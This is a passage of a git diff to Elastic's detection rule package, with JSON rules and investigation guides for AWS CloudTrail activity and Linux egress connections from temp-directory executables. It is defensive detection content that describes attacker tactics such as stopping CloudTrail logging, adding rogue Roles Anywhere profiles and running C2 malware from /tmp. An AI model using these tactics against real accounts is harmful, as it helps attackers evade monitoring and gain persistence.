"id": "185c782e-f86a-11ee-9d9f-f661ea17fbce_6", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/19be0164-63d2-11ef-8e38-f661ea17fbce_2.json b/packages/security_detection_engine/kibana/security_rule/19be0164-63d2-11ef-8e38-f661ea17fbce_2.json deleted file mode 100644 index 56680edb7f9..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/19be0164-63d2-11ef-8e38-f661ea17fbce_2.json +++ /dev/null @@ -1,50 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies when a single AWS resource is making `GetServiceQuota` API calls for the EC2 service quota L-1216C47A in more than 10 regions within a 30-second window. Quota code L-1216C47A represents on-demand instances which are used by adversaries to deploy malware and mine cryptocurrency. This could indicate a potential threat actor attempting to discover the AWS infrastructure across multiple regions using compromised credentials or a compromised instance.", - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "AWS Service Quotas Multi-Region `GetServiceQuota` Requests", - "query": "from logs-aws.cloudtrail-*\n\n// filter for GetServiceQuota API calls\n| where event.dataset == \"aws.cloudtrail\" and event.provider == \"servicequotas.amazonaws.com\" and event.action == \"GetServiceQuota\"\n\n// truncate the timestamp to a 30-second window\n| eval target_time_window = DATE_TRUNC(30 seconds, @timestamp)\n\n// pre-process the request parameters to extract the service code and quota code\n| dissect aws.cloudtrail.request_parameters \"{%{?service_code_key}=%{service_code}, %{?quota_code_key}=%{quota_code}}\"\n\n// filter for EC2 service quota L-1216C47A (vCPU on-demand instances)\n| where service_code == \"ec2\" and quota_code == \"L-1216C47A\"\n\n// keep only the relevant fields\n| keep target_time_window, aws.cloudtrail.user_identity.arn, cloud.region, service_code, quota_code\n\n// count the number of unique regions and total API calls within the 30-second window\n| stats region_count = count_distinct(cloud.region), window_count = count(*) by target_time_window, aws.cloudtrail.user_identity.arn\n\n// filter for resources making DescribeInstances API calls in more than 10 regions within the 30-second window\n| where region_count >= 10 and window_count >= 10\n\n// sort the results by time windows in descending order\n| sort target_time_window desc\n", - "references": [ - "https://www.sentinelone.com/labs/exploring-fbot-python-based-malware-targeting-cloud-and-payment-services/", - "https://docs.aws.amazon.com/servicequotas/2019-06-24/apireference/API_GetServiceQuota.html" - ], - "risk_score": 21, - "rule_id": "19be0164-63d2-11ef-8e38-f661ea17fbce", - "severity": "low", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: Amazon Web Services", - "Data Source: AWS Service Quotas", - "Use Case: Threat Detection", - "Tactic: Discovery" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0007", - "name": "Discovery", - "reference": "https://attack.mitre.org/tactics/TA0007/" - }, - "technique": [ - { - "id": "T1580", - "name": "Cloud Infrastructure Discovery", - "reference": "https://attack.mitre.org/techniques/T1580/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 2 - }, - "id": "19be0164-63d2-11ef-8e38-f661ea17fbce_2", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/1aa8fa52-44a7-4dae-b058-f3333b91c8d7_212.json b/packages/security_detection_engine/kibana/security_rule/1aa8fa52-44a7-4dae-b058-f3333b91c8d7_212.json new file mode 100644 index 00000000000..d813a71eb85 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/1aa8fa52-44a7-4dae-b058-f3333b91c8d7_212.json @@ -0,0 +1,112 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects Cloudtrail logging suspension via StopLogging API. Stopping CloudTrail eliminates forward audit visibility and is a classic defense evasion step before sensitive changes or data theft. Investigate immediately and determine what occurred during the logging gap.", + "false_positives": [ + "Suspending the recording of a trail may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Trail suspensions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "target.entity.id", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "AWS CloudTrail Log Suspended", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS CloudTrail Log Suspended\n\nAWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. This rule identifies the suspension of an AWS log trail using the `StopLogging` API. Attackers can do this to cover their tracks and impact security monitoring that relies on this source.\n\n#### Possible investigation steps\n- **Actor & scope**\n - Identify `aws.cloudtrail.user_identity.arn`, `user_agent.original`, `source.ip`.\n - Determine which trail stopped (`target.entity.id`) and whether it\u2019s multi-region or organization-wide.\n- **Timing and impact**\n - When did logging stop and resume (if at all)? Are there overlapping detections indicating activity during the gap?\n- **Correlate activity**\n - Search for sensitive API activity around the stop event (IAM changes, S3 policy changes, EC2 exports, KMS changes).\n - Check for preceding `UpdateTrail` (e.g., destination change) and subsequent `DeleteTrail`.\n\n### False positive analysis\n- **Planned suspensions**: Rare; verify maintenance tickets and ensure post-change validation.\n\n### Response and remediation\n- Restart logging (`StartLogging`) immediately.\n- Investigate actor\u2019s recent activity; rotate credentials if suspicious.\n- Validate trail configuration, destination bucket/CMK, and event selectors.\n- Hardening: Limit `cloudtrail:StopLogging` to break-glass roles; alert on any future stops; enforce via AWS Config/SCPs.\n\n### Additional information\n- **[AWS IR Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)** \n- **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs)** \n- **Security Best Practices:** [AWS Knowledge Center \u2013 Security Best Practices](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/).\n", + "query": "event.dataset: \"aws.cloudtrail\" \n and event.provider: \"cloudtrail.amazonaws.com\" \n and event.action: \"StopLogging\" \n and event.outcome: \"success\"\n", + "references": [ + "https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_StopLogging.html", + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/stop-logging.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "1aa8fa52-44a7-4dae-b058-f3333b91c8d7", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS Cloudtrail", + "Use Case: Log Auditing", + "Resources: Investigation Guide", + "Tactic: Defense Evasion" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1562", + "name": "Impair Defenses", + "reference": "https://attack.mitre.org/techniques/T1562/", + "subtechnique": [ + { + "id": "T1562.001", + "name": "Disable or Modify Tools", + "reference": "https://attack.mitre.org/techniques/T1562/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 212 + }, + "id": "1aa8fa52-44a7-4dae-b058-f3333b91c8d7_212", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/1ba5160d-f5a2-4624-b0ff-6a1dc55d2516_210.json b/packages/security_detection_engine/kibana/security_rule/1ba5160d-f5a2-4624-b0ff-6a1dc55d2516_210.json new file mode 100644 index 00000000000..8050f70806e --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/1ba5160d-f5a2-4624-b0ff-6a1dc55d2516_210.json @@ -0,0 +1,94 @@ +{ + "attributes": { + "author": [ + "Austin Songer" + ], + "description": "Identifies when an ElastiCache security group has been modified or deleted. Amazon EC2-Classic and ElastiCache CacheSecurityGroups have been retired. Modern ElastiCache deployments run in a VPC and use standard EC2 security groups instead. This rule should be retained only for historical log analysis on legacy CloudTrail data. We recommend relying on \"AWS EC2 Security Group Configuration Change\" rule for network-control changes impacting ElastiCache in VPC-based deployments.", + "false_positives": [ + "A ElastiCache security group deletion may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security Group deletions by unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "from": "now-60m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "interval": "10m", + "language": "kuery", + "license": "Elastic License v2", + "name": "Deprecated - AWS ElastiCache Security Group Modified or Deleted", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Deprecated - AWS ElastiCache Security Group Modified or Deleted\n\nAWS ElastiCache security groups control inbound and outbound traffic to cache clusters, ensuring only authorized access. Adversaries may modify or delete these groups to bypass security controls, facilitating unauthorized data access or exfiltration. The detection rule monitors specific API actions related to security group changes, flagging successful modifications or deletions as potential defense evasion attempts.\n\n### Possible investigation steps\n\n- Review the CloudTrail logs for the specific event.provider: elasticache.amazonaws.com to identify the user or role that initiated the security group modification or deletion.\n- Examine the event.action field to determine the exact action taken, such as \"Delete Cache Security Group\" or \"Authorize Cache Security Group Ingress\", and assess the potential impact on security posture.\n- Check the event.outcome field to confirm the success of the action and correlate it with any other suspicious activities in the same timeframe.\n- Investigate the source IP address and location associated with the event to determine if it aligns with expected administrative activity.\n- Review the AWS IAM policies and permissions associated with the user or role to ensure they are appropriate and have not been overly permissive.\n- Assess the affected ElastiCache clusters to determine if any unauthorized access or data exfiltration attempts have occurred following the security group change.\n\n### False positive analysis\n\n- Routine maintenance activities by authorized personnel can trigger alerts when they modify security groups for legitimate reasons. To manage this, create exceptions for known maintenance windows or specific user actions.\n- Automated scripts or tools used for infrastructure management might modify security groups as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by using specific user or role identifiers.\n- Changes made by cloud management platforms or third-party services that integrate with AWS may also result in false positives. Review and whitelist these services if they are verified as non-threatening.\n- Regular updates or deployments that require temporary security group modifications can be mistaken for suspicious activity. Document these processes and adjust the detection rule to account for these expected changes.\n- Ensure that any changes made by trusted IP addresses or within a specific network range are reviewed and potentially excluded from alerting, as they may represent internal, authorized activities.\n\n### Response and remediation\n\n- Immediately isolate the affected ElastiCache instance by applying restrictive security group rules to prevent further unauthorized access.\n- Review CloudTrail logs to identify any unauthorized API calls related to the security group modifications and determine the source of the changes.\n- Revert any unauthorized changes to the ElastiCache security groups by restoring them to their previous state using backups or documented configurations.\n- Conduct a thorough investigation to identify any data exfiltration or unauthorized access that may have occurred due to the security group changes.\n- Escalate the incident to the security operations team for further analysis and to determine if additional security measures are required.\n- Implement additional monitoring and alerting for changes to ElastiCache security groups to ensure rapid detection of similar threats in the future.\n- Review and update IAM policies to ensure that only authorized personnel have permissions to modify ElastiCache security groups, reducing the risk of future unauthorized changes.", + "query": "event.dataset:aws.cloudtrail and event.provider:elasticache.amazonaws.com and event.action:(\"Delete Cache Security Group\" or\n\"Authorize Cache Security Group Ingress\" or \"Revoke Cache Security Group Ingress\" or \"AuthorizeCacheSecurityGroupEgress\" or\n\"RevokeCacheSecurityGroupEgress\") and event.outcome:success\n", + "references": [ + "https://docs.aws.amazon.com/AmazonElastiCache/latest/APIReference/Welcome.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "1ba5160d-f5a2-4624-b0ff-6a1dc55d2516", + "setup": "The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", + "severity": "low", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Tactic: Defense Evasion", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1562", + "name": "Impair Defenses", + "reference": "https://attack.mitre.org/techniques/T1562/", + "subtechnique": [ + { + "id": "T1562.007", + "name": "Disable or Modify Cloud Firewall", + "reference": "https://attack.mitre.org/techniques/T1562/007/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 210 + }, + "id": "1ba5160d-f5a2-4624-b0ff-6a1dc55d2516_210", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/1d4ca9c0-ff1e-11ee-91cc-f661ea17fbce_6.json b/packages/security_detection_engine/kibana/security_rule/1d4ca9c0-ff1e-11ee-91cc-f661ea17fbce_6.json new file mode 100644 index 00000000000..4f9d7e09a30 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/1d4ca9c0-ff1e-11ee-91cc-f661ea17fbce_6.json @@ -0,0 +1,114 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects the creation of a new AWS IAM Roles Anywhere profile. Roles Anywhere allows workloads or external systems to assume IAM roles from outside AWS by authenticating via trusted certificate authorities (trust anchors). Adversaries who have established persistence through a rogue trust anchor may create or modify profiles to link them with highly privileged roles, enabling long-term external access to the AWS environment. This rule identifies successful \"CreateProfile\" API calls and helps detect potentially unauthorized or risky external access configurations.", + "false_positives": [ + "AWS Roles Anywhere profiles are legitimate profiles that can be created by administrators to allow access from any location. Ensure that the profile created is expected and that the trust policy is configured securely." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters", + "aws.cloudtrail.response_elements" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "AWS IAM Roles Anywhere Profile Creation", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. \n> While every effort has been made to ensure its quality, validate and adapt it to suit your operational needs.\n\n### Investigating AWS IAM Roles Anywhere Profile Creation\n\nAWS IAM Roles Anywhere allows external workloads \u2014 such as CI/CD runners, on-premises systems, or third-party services \u2014 \nto assume IAM roles securely by presenting a certificate from a trusted anchor. A profile defines the IAM roles that \ncan be assumed, the trust anchor they are associated with, and session duration limits.\n\nThis rule detects when a new Roles Anywhere profile is created using the `CreateProfile` API call. Unauthorized profile \ncreation can enable persistent external access if tied to over-privileged roles or to trust anchors associated with \nunauthorized certificate authorities (CAs). Monitoring profile creation is crucial to ensuring that only approved roles \nand anchors are in use.\n\n#### Possible investigation steps\n\n- **Identify the actor**\n - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine \n which IAM user, role, or principal created the profile.\n - Check whether this identity normally manages Roles Anywhere configurations.\n\n- **Review profile configuration**\n - Inspect `aws.cloudtrail.request_parameters` for key values such as:\n - `profileName`\n - `roleArns` \u2013 confirm that the listed IAM roles are expected and not overly permissive.\n - `trustAnchorArn` \u2013 verify the trust anchor is valid and authorized.\n - `durationSeconds` \u2013 check for unusually long session durations.\n - Determine if multiple roles were attached, which may indicate excessive privilege aggregation.\n\n- **Correlate related activity**\n - Check for prior or concurrent events by the same actor, including:\n - `CreateTrustAnchor` with external or unauthorized certificate authorities.\n - `CreateRole`, `PutRolePolicy`, or `AttachRolePolicy` for privilege escalation paths.\n - Review whether subsequent `AssumeRoleWithCertificate` events occurred, indicating use of the new profile.\n\n- **Assess the source context**\n - Investigate `source.ip`, `user_agent.original`, and `source.geo` fields to identify if this request originated from an unfamiliar host, region, or automation client (e.g., `boto3`, `curl`, custom SDKs).\n - Compare to baseline patterns of legitimate IAM or infrastructure automation.\n\n- **Validate legitimacy**\n - Contact the responsible team (e.g., platform, PKI, or IAM administration) to confirm whether this profile creation \n aligns with approved change management or onboarding activities.\n\n\n### False positive analysis:\n\n- **Legitimate administrative actions**\n - IAM or PKI engineers may legitimately create profiles during setup of new external integrations or workloads. \n Validate against change control records and deployment logs.\n- **Authorized automation**\n - Infrastructure-as-code (IaC) pipelines (Terraform, CloudFormation, etc.) may automatically create profiles. \n Confirm these operations are sourced from known automation accounts or IP ranges.\n- **Development and testing**\n - Lab or sandbox accounts may test Roles Anywhere configurations with less restrictive controls. \n Ensure alerts from non-production accounts are tuned accordingly.\n\n### Response and remediation:\n\n- **Immediate review and containment**\n - If unauthorized, disable or delete the created profile (`aws rolesanywhere delete-profile`) and review all \n associated IAM roles for misuse.\n - Rotate any credentials or revoke certificates issued from unapproved trust anchors.\n\n- **Investigation**\n - Search CloudTrail for additional related actions by the same identity, such as \n `CreateTrustAnchor`, `AssumeRoleWithCertificate`, or cross-account access attempts.\n - Verify whether any sessions have been initiated using the new profile and identify \n which roles were assumed.\n\n- **Recovery and hardening**\n - Restrict `rolesanywhere:CreateProfile` to a small set of administrative roles.\n - Implement AWS Config or Security Hub controls to alert on unauthorized or overly \n permissive Roles Anywhere profiles.\n - Audit IAM role trust policies linked to external anchors and ensure adherence to the \n principle of least privilege.\n - Review and document all approved Roles Anywhere profiles and their corresponding trust anchors.\n\n### Additional information\n\n- **[AWS IR Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)** \n- **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs)** \n- **Security Best Practices:** [AWS Knowledge Center \u2013 Security Best Practices](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/).\n", + "query": "event.dataset: aws.cloudtrail\n and event.provider: rolesanywhere.amazonaws.com\n and event.action: CreateProfile\n and event.outcome: success\n", + "references": [ + "https://docs.aws.amazon.com/rolesanywhere/latest/userguide/introduction.html", + "https://docs.datadoghq.com/security/default_rules/cloudtrail-aws-iam-roles-anywhere-trust-anchor-created/", + "https://ermetic.com/blog/aws/keep-your-iam-users-close-keep-your-third-parties-even-closer-part-1/", + "https://docs.aws.amazon.com/rolesanywhere/latest/APIReference/API_CreateProfile.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "1d4ca9c0-ff1e-11ee-91cc-f661ea17fbce", + "severity": "low", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS IAM", + "Use Case: Identity and Access Audit", + "Tactic: Persistence", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1098", + "name": "Account Manipulation", + "reference": "https://attack.mitre.org/techniques/T1098/", + "subtechnique": [ + { + "id": "T1098.003", + "name": "Additional Cloud Roles", + "reference": "https://attack.mitre.org/techniques/T1098/003/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 6 + }, + "id": "1d4ca9c0-ff1e-11ee-91cc-f661ea17fbce_6", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/1fa350e0-0aa2-4055-bf8f-ab8b59233e59_4.json b/packages/security_detection_engine/kibana/security_rule/1fa350e0-0aa2-4055-bf8f-ab8b59233e59_4.json deleted file mode 100644 index 7c070cbb9ba..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/1fa350e0-0aa2-4055-bf8f-ab8b59233e59_4.json +++ /dev/null @@ -1,55 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "This rule detects a high number of egress network connections from an unusual executable on a Linux system. This could indicate a command and control (C2) communication attempt, a brute force attack via a malware infection, or other malicious activity. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert.", - "from": "now-61m", - "interval": "1h", - "language": "esql", - "license": "Elastic License v2", - "name": "High Number of Egress Network Connections from Unusual Executable", - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating High Number of Egress Network Connections from Unusual Executable\n\nIn Linux environments, executables can initiate network connections for legitimate purposes. However, adversaries exploit this by deploying malware in temporary directories to establish command and control (C2) channels. The detection rule identifies unusual executables making numerous outbound connections, excluding trusted IP ranges and known benign paths, to flag potential threats.\n\n### Possible investigation steps\n\n- Review the process.executable field to identify the specific executable making the connections and determine if it is known or expected in the environment.\n- Examine the destination.ip field to identify the external IP addresses the executable is attempting to connect to and check if they are known malicious or suspicious.\n- Check the host.os.type and agent.id fields to identify the specific host and agent involved, and gather additional context about the system's role and recent activity.\n- Analyze the @timestamp field to correlate the timing of the connections with other events or activities on the network or host.\n- Cross-reference the identified executable and IP addresses with threat intelligence sources to determine if they are associated with known threats or campaigns.\n- If the executable is determined to be malicious or suspicious, isolate the affected host and perform a deeper forensic analysis to identify any additional indicators of compromise or lateral movement.\n\n### False positive analysis\n\n- Executables in temporary directories used by legitimate applications or scripts can trigger alerts. Review the process name and executable path to determine if they are associated with known applications or scripts.\n- Automated scripts or cron jobs that perform network operations might be flagged. Identify these scripts and consider excluding their paths from the rule if they are verified as non-malicious.\n- Development or testing environments often use temporary directories for network operations. If these environments are known and trusted, add their specific paths to the exclusion list.\n- Backup or synchronization tools that use temporary directories for data transfer can generate numerous connections. Verify these tools and exclude their paths if they are confirmed to be safe.\n- Security tools or monitoring agents that operate in temporary directories might be mistakenly flagged. Confirm their legitimacy and exclude their paths to prevent false positives.\n\n### Response and remediation\n\n- Isolate the affected host immediately from the network to prevent further potential malicious communication and lateral movement.\n- Terminate the suspicious process identified by the alert to stop any ongoing malicious activity.\n- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise (IOCs) and assess the extent of the infection.\n- Remove any malicious executables or files found in temporary directories such as /tmp, /var/tmp, or /dev/shm to eliminate the threat.\n- Patch and update the affected system to the latest security standards to close any vulnerabilities that may have been exploited.\n- Monitor network traffic for any unusual outbound connections from other systems to detect potential spread or similar threats.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation.\n", - "query": "from logs-endpoint.events.network-*\n| keep @timestamp, host.os.type, event.type, event.action, process.name, process.executable, destination.ip, agent.id, host.name\n| where @timestamp > now() - 1 hours\n| where host.os.type == \"linux\" and event.type == \"start\" and event.action == \"connection_attempted\" and (\n (\n process.executable like \"/tmp/*\" or\n process.executable like \"/var/tmp/*\" or\n process.executable like \"/dev/shm/*\"\n ) or\n (process.name like \".*\")\n) and not (\n CIDR_MATCH(\n destination.ip, \"10.0.0.0/8\", \"127.0.0.0/8\", \"169.254.0.0/16\", \"172.16.0.0/12\", \"192.0.0.0/24\", \"192.0.0.0/29\", \"192.0.0.8/32\", \"192.0.0.9/32\",\n \"192.0.0.10/32\", \"192.0.0.170/32\", \"192.0.0.171/32\", \"192.0.2.0/24\", \"192.31.196.0/24\", \"192.52.193.0/24\", \"192.168.0.0/16\", \"192.88.99.0/24\",\n \"224.0.0.0/4\", \"100.64.0.0/10\", \"192.175.48.0/24\",\"198.18.0.0/15\", \"198.51.100.0/24\", \"203.0.113.0/24\", \"224.0.0.0/4\", \"240.0.0.0/4\", \"::1\",\n \"FE80::/10\", \"FF00::/8\"\n ) or\n process.executable like \"/nix/store/*\" or\n process.executable like \"/tmp/newroot/*\" or\n process.executable like \"/tmp/.mount*\" or\n process.executable like \"/tmp/go-build*\"\n )\n| stats cc = count(), agent_count = count_distinct(agent.id), host.name = VALUES(host.name), agent.id = VALUES(agent.id) by process.executable\n| where agent_count == 1 and cc > 15\n| sort cc asc\n| limit 100\n", - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - } - ], - "risk_score": 47, - "rule_id": "1fa350e0-0aa2-4055-bf8f-ab8b59233e59", - "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", - "severity": "medium", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Command and Control", - "Data Source: Elastic Defend", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0011", - "name": "Command and Control", - "reference": "https://attack.mitre.org/tactics/TA0011/" - }, - "technique": [ - { - "id": "T1071", - "name": "Application Layer Protocol", - "reference": "https://attack.mitre.org/techniques/T1071/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 4 - }, - "id": "1fa350e0-0aa2-4055-bf8f-ab8b59233e59_4", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/227dc608-e558-43d9-b521-150772250bae_211.json b/packages/security_detection_engine/kibana/security_rule/227dc608-e558-43d9-b521-150772250bae_211.json new file mode 100644 index 00000000000..8c8460f4636 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/227dc608-e558-43d9-b521-150772250bae_211.json @@ -0,0 +1,138 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies the deletion of critical Amazon S3 bucket configurations such as bucket policies, lifecycle configurations or encryption settings. These actions are typically administrative but may also represent adversarial attempts to remove security controls, disable data retention mechanisms, or conceal evidence of malicious activity. Adversaries who gain access to AWS credentials may delete logging, lifecycle, or policy configurations to disrupt forensic visibility and inhibit recovery. For example, deleting a bucket policy can open a bucket to public access or remove protective access restrictions, while deleting lifecycle rules can prevent object archival or automatic backups. Such actions often precede data exfiltration or destructive operations and should be reviewed in context with related S3 or IAM events.", + "false_positives": [ + "Bucket configurations may be deleted by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Bucket configuration deletions by unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "aws.cloudtrail.resources.arn", + "aws.cloudtrail.resources.type", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters", + "aws.cloudtrail.response_elements" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "AWS S3 Bucket Configuration Deletion", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS S3 Bucket Configuration 